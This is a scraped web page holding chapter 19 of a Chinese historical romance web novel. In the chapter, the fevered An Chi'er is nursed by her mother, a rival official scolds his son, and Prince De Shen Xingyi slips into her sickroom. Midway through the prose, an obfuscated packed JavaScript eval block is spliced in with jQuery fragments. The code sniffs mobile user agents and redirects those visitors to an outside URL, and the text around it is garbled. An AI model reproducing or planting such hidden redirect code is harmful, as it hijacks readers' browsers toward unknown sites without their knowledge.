默认冷灰
24号文字
方正启体

19. 梁上君

作者:种雪人本书字数:K更新时间:
    乐晴欣喜地喊着:“夫人!小姐……现在高烧不退。”


    倏然间,担忧、气愤、自责和哀伤之情交替在何夏言的面容上浮现,她走到安池儿的床边注视着那张泛红滚珠的面庞,最终只剩下心疼,她坐在床榻边俯身触碰着她的额心,好烫!


    “乐晴,速速取些冰块、温水和盐粒来,要快!”


    “是,夫人。”乐晴转身就往小膳房跑去,众人只见是一阵风刮过,万物又归于寂静。


    今日安小姐在病中,公主吩咐含宜殿之人不可惊扰安小姐休息,又交代小膳房一切以安小姐的需要为主,不得耽误懈怠。


    很快,乐晴急匆匆地端着三种物件跑回西殿。


    何夏言用绸布仔细包裹着冰块分别放在她的腋窝、脖颈和额心,又使她饮了些淡盐水,紧紧地捂着包裹着她的衾被。


    半晌,安池儿又迷迷糊糊地醒来,她想要看清眼前之人,只是她的眼皮陈困得紧,恍惚间,又沉沉睡去。


    分明这午时乌云退散、天气清明、日光洋洒,何夏言却坠冰窟。今日如不是敖侍卫来安国公府禀报,她便什么都不知道,突然,一声娇唤打断她的沉思。


    “娘亲……。”安池儿终于看清楚床榻之人挣扎着要起来,她分明脆弱得很,却还是扯出一个微笑。


    “池儿,是我……”,何夏言心痛如拧,她双目红肿,滚烫沉重的泪珠从面颊上滑落。


    “池儿没事,娘亲不要担忧。”她艰难地从衾被里伸出手,用指尖轻轻擦去何夏言的泪珠,“池儿已经食了药,休息几日便好了。”


    “娘亲知道了,池儿要休息,不要说话了。”何夏言笑着整理着她鬓角的碎发,“娘亲去给池儿炖汤好不好!百合莲子汤如何?”


    “可是莲子好苦……”


    “这莲子是旧年的宁莲去芯后的嫩莲子干制而成,如今再泡汤水便是一点都不苦了,软糯清香,池儿要不要试一试呀?”


    “那好吧。”她翻动两下身子,“咳咳咳……”


    “池儿躺下休息。”何夏言温柔地抚摸着她绯红的面容,又拢了拢被角走了出去。


    ………


    “混账!”慕尧诵怒拍桌案,霎时间震得朱笔乱飞,他面色赤红,起身在房内踱步,语气中满是愤愤。


    “你惹她作甚!安国公府是皇上的眼中钉早晚会被清扫,我怎会让你与她成亲!本只要你们度过今日,我去御前说道两番此事也就作罢了。你如今倒好,让整个清承园和德王都知道你欺负安家小姐,简直胡来!荒唐!”


    他一声声的叹息使慕炽盛抬不起头,慕炽盛心有不忿还嘴道。


    “爹爹也不可全怪盛儿,我哪里料到那安池儿心机之深,没想到今日竟被她算计。”


    “闭嘴吧你!”慕尧诵本就心中烦闷,好不容易压下的怒火又“噌噌”地往外冒,“你要是有她一成心计,何苦今日跪我面前,还要我给你想法子。”


    “爹,我今日也落水了……”


    慕尧诵恼怒地瞟了他一眼,他便住嘴,慕尧诵没好气地斥责道。


    “你明日同我进宫请罪,现在你回房静养休息,其他的明日再说。”


    慕尧诵待他离开后,他先坐下,又起身、又坐下……如此循环着,而在一旁静候的侍从眼都看晕了。


    终于,“呼……”,他站起身长长地呼出一口气,“拿酒来。”


    “是,老爷。”


    侍从走到门口又被他叫住:“等等,要府中最烈的那种。”


    不一会儿,侍从便托着酒盘回来给酒樽添满,慕尧诵端起酒樽一饮而尽。


    “备马车,去安国公府。”他一边说着一边迈步向门口大步走去。


    “遵命,老爷。”


    与此同时,沈星亦将慕炽盛送回慕府,自己也返回德王府,他在府中换了衣服,又等了好一阵,敖梁才一路小跑着从外面回来。


    敖梁觉得王爷实在狠心,他明明可以驾着德王府的马车从宫中出来,但王爷偏叫他将马车留在宫中,还让他跑了一趟安国公府,这一天天忙活的,差点没把他累死。


    “安小姐如何了?可去通知安府了?”


    太好了!敖梁心想,没有一句是关心他累不累的,话里全是安小姐安小姐。


    “安小姐有些病重……”


    “病重?敖梁,我出去一趟!”


    正准备坐下斟茶的敖梁只觉得面前风晃人闪,自家王爷顷刻间就不见了。


    “王爷。”


    “……”


    “王爷?”


    “……”


    “王爷!”


    “……”


    房中寂静一片、无人应答。


    敖梁骂骂咧咧地将安车推进阁中,然后紧紧关上房门,德王回来前的这段时间,他是哪里都别想去了。


    已经跑出来的沈星亦方才听敖梁说安池儿病重,他心急如焚,于是不停地加快速度,在疾行中已经扣上面具、换了发饰,挑着隐秘的道路朝宫城奔去,他倒是暗自责备起自己的腿来了,这么久以来,怕是身体把自己给骗了,不然这双笨腿,怎么就不知道跑得再快些。


    ………


    长坤大步走了进来:“老爷,慕大人在门外等候。”


    安统在家中烦闷,何夏言拿了敖梁留下的德王令牌进宫照顾池儿,而他只能干等着本就心中七分,慕尧诵此时还敢上门。


    “晾他!”


    “一个时辰后,若他慕尧诵还是在门口等着,就把这个。”他指着身边的扶椅,“不对,他不配坐!那个。”他指着门口处的板椅,看向长坤,“那个拿到门外给他坐,然后泼一盆水,再把府门关上!”


    “是,老爷。”长坤兴奋地抄起板椅就往府门走去。


    此时何归站在安统身旁,那日江忧将何夏言的信交给她,她立马赶往北城,没想到刚一来小姐便出事了,她此时有任务在身,只能等夫人从宫中回来再推进了。


    申时,落日余晖刺穿仅剩的乌云层,放射出耀眼夺目的金光,安统从书理间出来径直走向挽安阁,他静静地站在阁门口凝神望着内院。


    他抬首望向挽安阁的牌匾,这牌匾是池儿出生那年自己亲笔所提,如今竟然也起了斑驳,光彩不再。


    挽安阁内的花圃里,大丛缤纷的无尽夏热烈绽放,五年来,他疏于照顾院落里花丛,却没想到年年岁岁风雨飘摇,并未折损它们的生命,一个个的倒是长得愈发繁茂。


    他忽然想起在池儿小时候的一件事。


    那日是晏容贵妃的生辰,恰逢边关战事大捷,何孟两位战将平定暴乱有功,沈文龙心大悦,大赦天下三日,又在宫中宴请百官,以庆沉国华光,池儿居然也在受邀名列。


    他还记得那时候,江大人也在,一想到将江淮,安统的嘴角便止不住地笑着,只是后来,江家出了变故,他受老友的嘱托收留了江忧,再过不久江忧就去了叶城。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835932|175680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>而宴会渐散,池儿却不见了,也多亏了一位侍从告知,他才从后山湖找到了池儿,只不过池儿头部伤得很重,她昏迷了很多天,终于醒来时却连自己叫什么、在那里都不记得了,也就是在那之后,夏言决定带池儿离开北城。


    再后来,宫中生变,晏容遇刺身亡,沈星亦不久后被封为德王,搬出宫城居于德王府。


    只是,晏容死的蹊跷,很快皇上就昭告天下,他还记得诏书中说,是暴乱余孽心怀愤恨,偷潜入宫内误杀贵妃,总之,这件事此后就再无人提起。


    德王后来有日突发腿疾……总之这件事,沈文也下了禁令不许议论,不过从那以后,朝堂上也开始出现德王的身影。


    陈年往事如冬日飞雪,他揩下面上泪珠,推开挽安阁的房门走了进去,房内充盈着暖绒香甜的气息,他很少来这里,平日里若是府中有什么事情、或者做出什么安排,都是由何夏言来告诉池儿。


    安统小心地跨过门限,像是怕踩坏了屋内的地砖,一步又一步,直到他走在她窗边的书案旁坐下,他才自嘲地笑着摇了头,坚硬无比的地砖怎么可能被踩坏。


    安统从申时坐到酉时,光线由浓转淡,他仿佛与时间一起融化在挽安阁里,他似乎成为了时间的一部分。


    他被笼罩在逐渐冷却的空气中,猛然间,像是被什么触动,他蜷缩起膝盖,将自己揉成一团,他的后背紧紧地贴着椅背,在这静谧沉闷的黄昏之时,无声俯身哭诉起来。


    冰块终于发挥作用了。


    安池儿的体温逐渐冷却,此刻也脱离了迷迷糊糊的状态,只是榻旁似乎有人。


    “娘亲?”她试探着唤了一声。


    “安小姐。”那人应道。


    “你……”,安池儿被吓到了,“你在这里怕是不妥。”


    沈星亦注视着她,只当她是在关心自己的处境:“我听敖梁说你……”


    只不过沈星亦的话讲到一半,何夏言轻轻叩着门问道。


    “池儿醒了吗?”


    “娘亲,我醒了,但是想要再睡一会,娘亲晚些时候来叫池儿可好?”


    “娘知道了,你安心睡吧。”


    安池儿听着何夏言渐渐远去的脚步声,稍微松了一口气,她的目光在房间内四处张望着,小声问道。


    “你走了吗?”


    “我在这儿。”他懒悠悠的声音从头顶传来,她险些要尖叫起来了。


    此时,她和沈星辰两人正面面相觑。


    首先,她很不习惯沈星辰距离她这么近,其次,这种全俯视的怪异姿势居然都无损他面容的紧致俊美,她一时间有些失语。


    只见沈星辰一个跳跃便从她的床顶稳稳地落到地面,他望着他的眼睛,认真地解释着。


    “我听敖梁说你病重,我放心不下想来看看你。况且,今日安小姐落水我也有责任。”


    她又恢复了冷淡和陌生:“这是我的事与你有何干系,你莫要把自己卷进来,况且今日本是想要你做见证,并非求你相救,我若是知道更多你的事情对我没有好处。”


    “我知道。”他走上前蹲在她的床畔,像以往那样仰视她,“但是我得了一种心疾。”


    “你做什么?”安池儿警惕地看着他,缓慢地朝着床里面挪去。


    然而她每挪动一寸,沈星亦便逼近两寸,最后她终是一动也不敢动,任由他将那张好看的脸贴在自己面前,只见他双唇翕动,一字一句地说道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)